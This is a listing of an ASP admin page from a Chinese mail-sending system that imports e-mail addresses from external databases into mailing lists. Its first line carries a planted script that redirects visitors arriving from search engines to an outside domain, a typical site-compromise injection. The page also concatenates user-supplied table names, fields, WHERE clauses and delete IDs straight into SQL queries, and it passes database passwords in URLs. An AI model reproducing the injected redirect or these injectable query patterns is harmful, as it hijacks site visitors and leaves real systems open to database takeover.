d:\wwwroot\wuchunhua\sendmail\mail_datatomail.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <!--#include file="inc/page_cls.asp"-->
003: <%server.ScriptTimeout=999%>
004: <html>
005: <head>
006: <title>管理</title>
007: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
008: <link rel="stylesheet" href="inc/style.css">
009: <script language="javascript" src="inc/js.js"></script>
010: </head>
011: <body>
012: <%dim page
013: page=request.QueryString("page")
014: classid=checkstr(request.QueryString("classid"))
015: keys=checkstr(request.QueryString("keys"))
016: dataconnectid=checkstr(request.QueryString("dataconnectid"))
017:
018: urlQuery="&classid="& classid &"&keys="& keys &"&dataconnectid="& dataconnectid
019:
020: action=request.QueryString("action")
021: select case action
022:    case "add" : CheckString("17"):call add
023:    case "addsave" : CheckString("17"):call addsave
024:    case "list" : CheckString("18"):call list
025:    case "upsave" : call upsave
026: end select
027:
028: sub list
029: %
>
030: <table width="99%" border="0" align="center" cellpadding="3" cellspacing="1" class="tablebk" style="border-collapse: collapse">
031:   <tr>
032:     <td colspan="5" class="table_titlebg">数据库连接列表</td>
033:   </tr>
034:   <tr>
035:     <td colspan="5" align="center" class="table_trbg01"><table width="100%" border="0" cellspacing="0" cellpadding="0">
036:       <tr>
037:       <form name="Form2" method="get" action="?">
038:       <input type="hidden" name="action" value="list">
039:         <td align="right">
040: 查找:    <select name="classid">
041:           <option value="1"<%=SetSelected(classid,"1")%>>所有分类</option>
042:      <%set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
043:      if rs.eof then rs.close:set rs=nothing:alert "● 请选添加邮址分类;","back"
044:      do while not rs.eof%
>
045:      <option value="<%=rs("id")%>"<%=SetSelected(rs("id"),classid)%>><%=rs("classname")%></option>
046:      <%
047:      rs.movenext
048:      loop
049:      rs.close:set rs=nothing
050:      %
>        
051:         </select> &nbsp; <input name="keys" type="text" id="keys" size="15" maxlength="30" class="INPUT" value="<%=keys%>">
052:         <input type="submit" name="" value="搜索"></td></form>
053:       </tr>
054:     </table>   </td>
055:   </tr>
056: <form name="Form1" method="post" action="?action=upsave&page=<%=page%><%=urlQuery%>" onSubmit="return confirm('确定要执行此操作吗?\n\n注意:执行删除将不可恢复数据');">
057:   <tr>
058:     <td align="center" class="table_trbg02"><strong>ID</strong></td>
059:     <td align="center" class="table_trbg02"><strong>所属分类</strong></td>
060:     <td align="center" class="table_trbg02"><strong>数据库类型</strong></td>
061:    <td align="center" class="table_trbg02"><strong>服务器或数据库</strong></td>
062:     <td align="center" class="table_trbg02"><strong>选择</strong></td>
063:   </tr>
064: <%
065: dim PageMaxSize
066: PageMaxSize=15   '每页几条
067: Set MyPage = New XdownPage   '创建对象
068:
069: if keys<>"" then
070:    sql2 = sql2 & " and A.datapath like '%"& keys &"%' "
071: end if
072: if isInteger(classid) then sql2 = sql2 & " and A.classid = "& classid &" "
073:
074: MyPage.GetSQL ="SELECT A.id,A.datatype,A.datapath,A.mssqldataname,B.classname FROM [vn_dataconnect] AS A LEFT JOIN [vn_mailclass] AS B ON A.classid = B.id where 1=1 "& sql2 &" order by A.id desc"
075: MyPage.PageSize = PageMaxSize  '设置每一页的记录条数据为10条
076: Set rs = MyPage.GetRS()  '返回Recordset
077:
078: If rs.eof Then
079:    response.Write("<tr><td height=""30"" align=""center"" colspan=""5"" class=""table_trbg02"">没有任何信息!</td></tr>")
080: else
081: For i=1 To MyPage.PageSize  '显示数据
082:    If Not rs.eof Then
083: %
>
084:   <tr>
085:     <td align="center" class="table_trbg02"><%=rs("ID")%></td>
086:     <td align="center" class="table_trbg02"><%=rs("classname")%></td>
087:     <td align="center" class="table_trbg02"><%if rs("datatype")="1" then response.Write("ACCESS") else response.Write("MSSQL")%></td>
088:    <td align="center" class="table_trbg02"><%=rs("datapath")%><%if rs("mssqldataname")<>"" then response.Write("("& rs("mssqldataname") &")")%></td>
089:     <td align="center" class="table_trbg02"><input type="checkbox" name="id" value="<%=rs("ID")%>"><input type="hidden" name="hideid" value="<%=rs("ID")%>"></td>
090:   </tr>
091: <%
092:    rs.movenext
093:    Else
094:        Exit For
095:    End If
096: next
097: End If
098: %
>
099:   <tr>
100:          <td colspan="5" align="right" class="table_trbg02">
101:       <input type="checkbox" name="chkall" value="on" onClick="CheckAll(this.form,'id')" />
102:       全选
103:         <select name="point">
104:           <option value="">操作方式</option>
105:         <option value="1">删除</option>
106:         </select>
107:         <input type="submit" name="Submit" value="执 行">
108: &nbsp;
109: <input type="reset" name="Submit2" value="重 写">      </td>
110:     </tr>
111:   </form>
112:    <tr>
113:      <td colspan="5" align="center" class="table_trbg02"><%if MyPage.ShowTotalRecord>0 then MyPage.ShowPage()%></td>
114:    </tr>
115: </table>
116: <%end sub
117:
118: sub add
119:
120: if isInteger(dataconnectid) then
121:    set rs=conn.execute("select * from [vn_dataconnect] where id="& dataconnectid &"")
122:    if not rs.eof then
123:       classid=rs("classid")
124:       datatype=rs("datatype")
125:       datapath=rs("datapath")
126:       mssqldataname=rs("mssqldataname")
127:       dataloginname=rs("dataloginname")
128:       dataloginpwd=rs("dataloginpwd")
129:       datatablename=rs("datatablename")
130:       datamailfield=rs("datamailfield")
131:       datasqlwhere=rs("datasqlwhere")
132:       if datatype="1" then opposite_path=datapath else mssqlserver=datapath
133:    end if
134:    rs.close:set rs=nothing
135: end if
136:
137: if CheckStr(request.QueryString("act"))="addsave" then
138:    datatype=GetForm("datatype")
139:    opposite_path=GetForm("opposite_path")
140:    mssqlserver=GetForm("mssqlserver")
141:    mssqldataname=GetForm("mssqldataname")
142:    dataloginname=GetForm("dataloginname")
143:    dataloginpwd=GetForm("dataloginpwd")
144:    datatablename=GetForm("datatablename")
145:    datamailfield=GetForm("datamailfield")
146:    datasqlwhere=GetForm("datasqlwhere")
147:    classid=GetForm("classid")
148:    saveconnect=GetForm("saveconnect")
149:   
150:    if not(datatype="1" or datatype="2") then ErrMsg = ErrMsg & "● 请选择数据库类型;\n"
151:    if datatype="1" then
152:       if opposite_path="" or datatablename="" or datamailfield="" then ErrMsg = ErrMsg & "● 信息没有填写完整;\n"
153:    end if
154:   
155:   
156:    if not isInteger(classid) then ErrMsg = ErrMsg & "● 请选择归属分类;\n"
157:    if saveconnect<>"1" then saveconnect="0"
158:   
159:    if ErrMsg="" then
160:       on error resume next
161:       if datatype="1" then
162:          temp_connstr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(opposite_path)
163:       end if
164:       
165:       Set temp_conn=Server.CreateObject("ADODB.Connection")
166:       temp_conn.Open temp_connstr
167:       If Err Then
168:          Err.Clear
169:          Set temp_conn = Nothing
170:          ErrMsg = ErrMsg & "● 数据库连接失败,请仔细检查后再提交;\n"
171:       End If
172:    end if
173:   
174:    if ErrMsg="" then
175:       on error resume next
176:       if datasqlwhere<>"" then datasqlwhere="where "&datasqlwhere
177:       temp_sqlstr = "select "& datamailfield &" from ["& datatablename &"] "& datasqlwhere &""
178:       set rs=temp_conn.execute(temp_sqlstr)
179:       If Err Then
180:          Err.Clear
181:          Set rs = Nothing
182:          ErrMsg = ErrMsg & "● 查询E-mail字段时错误,请检查表名、邮址字段、条件过滤;\n"
183:       End If
184:    end if
185:    if ErrMsg="" then
186:       temp_urlQuery="&datatype="& server.URLEncode(datatype)
187:       temp_urlQuery=temp_urlQuery &"&opposite_path="& server.URLEncode(opposite_path)
188:       temp_urlQuery=temp_urlQuery &"&mssqlserver="& server.URLEncode(mssqlserver)
189:       temp_urlQuery=temp_urlQuery & "&mssqldataname="& server.URLEncode(mssqldataname)
190:       temp_urlQuery=temp_urlQuery &"&dataloginname="& server.URLEncode(dataloginname)
191:       temp_urlQuery=temp_urlQuery &"&dataloginpwd="& server.URLEncode(dataloginpwd)
192:       temp_urlQuery=temp_urlQuery &"&datatablename="& server.URLEncode(datatablename)
193:       temp_urlQuery=temp_urlQuery &"&datamailfield="& server.URLEncode(datamailfield)
194:       temp_urlQuery=temp_urlQuery &"&datasqlwhere="& server.URLEncode(datasqlwhere)
195:       temp_urlQuery=temp_urlQuery &"&classid="& server.URLEncode(classid)
196:       temp_urlQuery=temp_urlQuery &"&saveconnect="& server.URLEncode(saveconnect)
197:       response.Redirect("?action=addsave"&temp_urlQuery)
198:    end if
199:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
200: end if
201: %
>
202:
203: <table width="99%"  border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
204:   <form name="Form1" method="post" action="?action=add&act=addsave">
205:     <tr>
206:       <td height="15" colspan="2" class="table_titlebg">数据库邮址导入</td>
207:     </tr>
208:     <tr>
209:       <td width="32%" height="15" align="right" class="table_trbg02"><strong>已存连接:</strong></td>
210:       <td class="table_trbg02"><select name="dataconnectid" onChange="window.location='?action=add&dataconnectid=' + this.value"><option value="">新的数据库连接</option>
211:     <%set rs=conn.execute("select * from [vn_dataconnect] order by id desc")
212:      do while not rs.eof%
>
213:      <option value="<%=rs("id")%>"<%=SetSelected(rs("id"),dataconnectid)%>><%if rs("datatype")=1 then
214:         response.Write("ACCESS("&rs("datapath")&")")
215:      else
216:         response.Write("MSSQL("&rs("datapath")&"--"&rs("mssqldataname")&")")
217:      end if
218:      %
></option>
219:         <%
220:      rs.movenext
221:      loop
222:      rs.close:set rs=nothing
223:      %
>
224:      </select></td>
225:     </tr>
226:     <tr>
227:       <td height="15" align="right" class="table_trbg02"><strong>数 据 库:</strong></td>
228:       <td class="table_trbg02"><input type="radio" name="datatype" value="1" onClick="javascript:body_access.style.display='block';body_mssql.style.display='none';"<%if datatype="" or datatype="1" then response.Write(" checked=""checked""")%>>
229:         ACCESS</td>
230:     </tr>
231: <tbody id="body_access">
232:     <tr>
233:       <td height="15" align="right" class="table_trbg02"><strong>相对路径:</strong></td>
234:       <td class="table_trbg02"><input name="opposite_path" type="text" class="input" size="40" value="<%=opposite_path%>"><span class="red">*</span>Access数据库必须同主机</td>
235:     </tr>
236: </tbody>
237: <tbody id="body_mssql" style="display:none;">
238: </tbody>
239:     <tr>
240:       <td height="15" align="right" class="table_trbg02"><strong>登陆账户:</strong></td>
241:       <td class="table_trbg02"><input name="dataloginname" type="text" class="input" size="40" value="<%=dataloginname%>">Access没有设定用户名请留空</td>
242:     </tr>
243:     <tr>
244:       <td height="15" align="right" class="table_trbg02"><strong>登陆密码:</strong></td>
245:       <td class="table_trbg02"><input name="dataloginpwd" type="text" class="input" size="40" value="<%=dataloginpwd%>">Access没有设定密码请留空</td>
246:     </tr>
247:     <tr>
248:       <td height="15" align="right" class="table_trbg02"><strong>数据表名:</strong></td>
249:       <td class="table_trbg02"><input name="datatablename" type="text" class="input" size="40" value="<%=datatablename%>"><span class="red">*</span>数据库的邮址所在表的名称</td>
250:     </tr>
251:     <tr>
252:       <td height="15" align="right" class="table_trbg02"><strong>邮址字段:</strong></td>
253:       <td class="table_trbg02"><input name="datamailfield" type="text" class="input" size="40" value="<%=datamailfield%>"><span class="red">*</span>E-mail地址的字段名称</td>
254:     </tr>
255:     <tr>
256:       <td height="15" align="right" class="table_trbg02"><strong>条件过滤:</strong></td>
257:       <td class="table_trbg02"><input name="datasqlwhere" type="text" class="input" size="40" value="<%=datasqlwhere%>">根据情况配制,无需加where,允许空</td>
258:     </tr>
259:     <tr>
260:       <td height="15" align="right" class="table_trbg02"><strong>归属分类:</strong></td>
261:       <td class="table_trbg02"><select name="classid">
262:         <%set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
263:      if rs.eof then rs.close:set rs=nothing:alert "● 请选添加邮址分类;","back"
264:      do while not rs.eof%
>
265:         <option value="<%=rs("id")%>"<%=SetSelected(rs("id"),classid)%>><%=rs("classname")%></option>
266:         <%
267:      rs.movenext
268:      loop
269:      rs.close:set rs=nothing
270:      %
>
271:       </select><span class="red">*</span></td>
272:     </tr>
273:     <tr>
274:       <td height="15" align="right" class="table_trbg02"><strong>保存连接:</strong></td>
275:       <td class="table_trbg02"><input name="saveconnect" type="checkbox" id="saveconnect" value="1"<%if dataconnectid="" then response.Write(" checked")%>>
276:       是否保存此连接以后快速使用</td>
277:     </tr>
278:     <tr>
279:       <td height="35" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value=" 添加 ">
280:         &nbsp;&nbsp;&nbsp;
281:       <input type="reset" name="Submit" value=" 重置 "></td>
282:     </tr>
283:   </form>
284: </table>
285: <script language="javascript">
286:    var datatype="<%if datatype="" or datatype="1" then response.Write("1") else response.Write("2")%>";
287:    if(datatype=="1"){
288:    body_access.style.display='block';
289:    body_mssql.style.display='none';
290:    }else{
291:    body_access.style.display='none';
292:    body_mssql.style.display='block';
293:    }
294: </script>
295: <%
296: end sub
297: sub addsave
298:    datatype=checkstr(request.QueryString("datatype"))
299:    opposite_path=checkstr(request.QueryString("opposite_path"))
300:    mssqlserver=checkstr(request.QueryString("mssqlserver"))
301:    mssqldataname=checkstr(request.QueryString("mssqldataname"))
302:    dataloginname=checkstr(request.QueryString("dataloginname"))
303:    dataloginpwd=checkstr(request.QueryString("dataloginpwd"))
304:    datatablename=checkstr(request.QueryString("datatablename"))
305:    datamailfield=checkstr(request.QueryString("datamailfield"))
306:    datasqlwhere=checkstr(request.QueryString("datasqlwhere"))
307:    classid=checkstr(request.QueryString("classid"))
308:    saveconnect=checkstr(request.QueryString("saveconnect"))
309:   
310:    if not(datatype="1" or datatype="2") then ErrMsg = ErrMsg & "● 请选择数据库类型;\n"
311:    if datatype="1" then
312:       if opposite_path="" or datatablename="" or datamailfield="" then ErrMsg = ErrMsg & "● 信息没有填写完整;\n"
313:    end if
314:   
315:   
316:    if not isInteger(classid) then ErrMsg = ErrMsg & "● 请选择归属分类;\n"
317:    if saveconnect<>"1" then saveconnect="0"
318:   
319:    if ErrMsg="" then
320:       'on error resume next
321:       if datatype="1" then
322:          temp_connstr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(opposite_path)
323:       end if
324:       Set temp_conn=Server.CreateObject("ADODB.Connection")
325:       temp_conn.Open temp_connstr
326:       If Err Then
327:          Err.Clear
328:          Set temp_conn = Nothing
329:          ErrMsg = ErrMsg & "● 数据库连接失败,请仔细检查后再提交;\n"
330:       End If
331:    end if
332:   
333:    if ErrMsg="" then
334:       'on error resume next
335:       if datasqlwhere<>"" then datasqlwhere="where "&datasqlwhere
336:       temp_sqlstr = "select "& datamailfield &" from ["& datatablename &"] "& datasqlwhere &""
337:       set rs2=temp_conn.execute(temp_sqlstr)
338:       If Err Then
339:          Err.Clear
340:          Set rs2 = Nothing
341:          ErrMsg = ErrMsg & "● 查询E-mail字段时错误,请检查表名、邮址字段、条件过滤;\n"
342:       End If
343:    end if
344:
345:    if ErrMsg="" and saveconnect="1" then
346:       if datatype="1" then datapath=opposite_path else datapath=mssqlserver
347:       conn.execute("insert into [vn_dataconnect](classid,datatype,datapath,mssqldataname,dataloginname,dataloginpwd,datatablename,datamailfield,datasqlwhere)values("& classid &","& datatype &",'"& datapath &"','"& mssqldataname &"','"& dataloginname &"','"& dataloginpwd &"','"& datatablename &"','"& datamailfield &"','"& datasqlwhere &"')")
348:    end if
349:
350:    if ErrMsg="" Then
351:       i=0
352:       do while not rs2.eof
353:          temp_email=rs2(0)
354:          if IsValidEmail(temp_email) then
355:             '检测重复
356:             set rs=conn.execute("select id from [vn_mailaddress] where mailaddress='"& temp_email &"' and classid="& classid &"")        
357:             if not rs.eof then
358:                repeat_mailcontent = repeat_mailcontent & "," & temp_email         '重复就相加重复的email地址
359:             Else
360:                i=i+1
361:                succeed_mailcontent = succeed_mailcontent & "," & temp_email         '重复就相加重复的email地址
362:                conn.execute("insert into [vn_mailaddress](classid,mailaddress)values("& classid &",'"& temp_email &"')")         '不重复就入库
363:             end if
364:             rs.close:set rs=nothing
365:          else
366:             err_mailcontent = err_mailcontent & "," & temp_email
367:          end if
368:       rs2.movenext
369:       loop
370:       rs2.close:set rs2=nothing
371:       
372:       if repeat_mailcontent<>"" then repeat_mailcontent = mid(repeat_mailcontent,2)
373:       if err_mailcontent<>"" then err_mailcontent = mid(err_mailcontent,2)
374:       if succeed_mailcontent<>"" then succeed_mailcontent = mid(succeed_mailcontent,2)
375:    end if
376:    if ErrMsg<>"" then response.Write(SetErrMsg_Back(ErrMsg)):response.End()
377: %
>
378: <table width="99%"  border="0" align="center" cellpadding="4" cellspacing="1" bordercolordark="#F1F3F5" class="tablebk">
379:   <form name="Form1" method="post" action="?action=edit&act=editsave&id=<%=id%>&page=<%=page%><%=urlQuery%>">
380:     <tr>
381:       <td height="15" colspan="3" class="table_titlebg">邮址导入状态</td>
382:     </tr>
383:     <tr>
384:       <td width="33%" height="15" align="center" class="table_trbg02">成功的邮址(已入库)</td>
385:       <td width="33%" align="center" class="table_trbg02">失败的邮址</td>
386:       <td width="33%" align="center" class="table_trbg02">重复的邮址</td>
387:     </tr>
388:     <tr>
389:       <td height="15" align="center" class="table_trbg02"><textarea name="textarea1" cols="26" rows="28" style="width:85%"><%=replace(succeed_mailcontent,",",vbcrlf)%></textarea></td>
390:       <td align="center" class="table_trbg02"><textarea name="textarea2" cols="26" rows="28" style="width:85%"><%=replace(err_mailcontent,",",vbcrlf)%></textarea></td>
391:       <td align="center" class="table_trbg02"><textarea name="textarea3" cols="26" rows="28" style="width:85%"><%=replace(repeat_mailcontent,",",vbcrlf)%></textarea></td>
392:     </tr>
393:     <tr>
394:       <td height="35" colspan="3" align="center" class="table_trbg02"><input type="button" name="Submit22" onClick="javascript:window.location='?action=add';" value="返回继续添加"></td>
395:     </tr>
396:   </form>
397: </table>
398:
399: <%end sub
400: sub upsave
401:    CheckString("19")
402:    point=GetForm("point")
403:    if point="" then alert "您没有指定操作方式!","back"
404:
405:    if point="1" then
406:       id=GetForm("id")
407:       if id="" then alert "请选择要删除的信息!","back"
408:       conn.execute("delete From [vn_dataconnect] where id in ("& id &")")
409:       alert "所选信息删除成功!","?action=list&page="& page & urlQuery
410:    end if
411: end sub
412: %
>
413: </body>
414: </html>
415:
416: